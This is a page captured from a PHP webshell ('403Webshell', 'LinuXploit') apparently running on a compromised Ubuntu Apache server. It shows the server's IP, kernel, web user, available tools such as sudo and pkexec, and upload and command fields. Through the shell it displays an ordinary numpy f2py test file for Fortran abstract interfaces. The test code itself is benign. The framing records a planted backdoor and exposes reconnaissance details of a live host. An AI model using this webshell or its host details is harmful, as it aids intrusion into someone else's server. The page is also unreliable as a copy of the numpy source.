403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/numpy/f2py/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/numpy/f2py/tests/test_abstract_interface.py
import textwrap
from . import util
from numpy.f2py import crackfortran


class TestAbstractInterface(util.F2PyTest):
    suffix = '.f90'

    skip = ['add1', 'add2']

    code = textwrap.dedent("""
        module ops_module

          abstract interface
            subroutine op(x, y, z)
              integer, intent(in) :: x, y
              integer, intent(out) :: z
            end subroutine
          end interface

        contains

          subroutine foo(x, y, r1, r2)
            integer, intent(in) :: x, y
            integer, intent(out) :: r1, r2
            procedure (op) add1, add2
            procedure (op), pointer::p
            p=>add1
            call p(x, y, r1)
            p=>add2
            call p(x, y, r2)
          end subroutine
        end module

        subroutine add1(x, y, z)
          integer, intent(in) :: x, y
          integer, intent(out) :: z
          z = x + y
        end subroutine

        subroutine add2(x, y, z)
          integer, intent(in) :: x, y
          integer, intent(out) :: z
          z = x + 2 * y
        end subroutine
        """)

    def test_abstract_interface(self):
        assert self.module.ops_module.foo(3, 5) == (8, 13)

    def test_parse_abstract_interface(self, tmp_path):
        # Test gh18403
        f_path = tmp_path / "gh18403_mod.f90"
        with f_path.open('w') as ff:
            ff.write(textwrap.dedent("""\
                module test
                  abstract interface
                    subroutine foo()
                    end subroutine
                  end interface
                end module test
                """))
        mod = crackfortran.crackfortran([str(f_path)])
        assert len(mod) == 1
        assert len(mod[0]['body']) == 1
        assert mod[0]['body'][0]['block'] == 'abstract interface'

Youez - 2016 - github.com/yon3zu
LinuXploit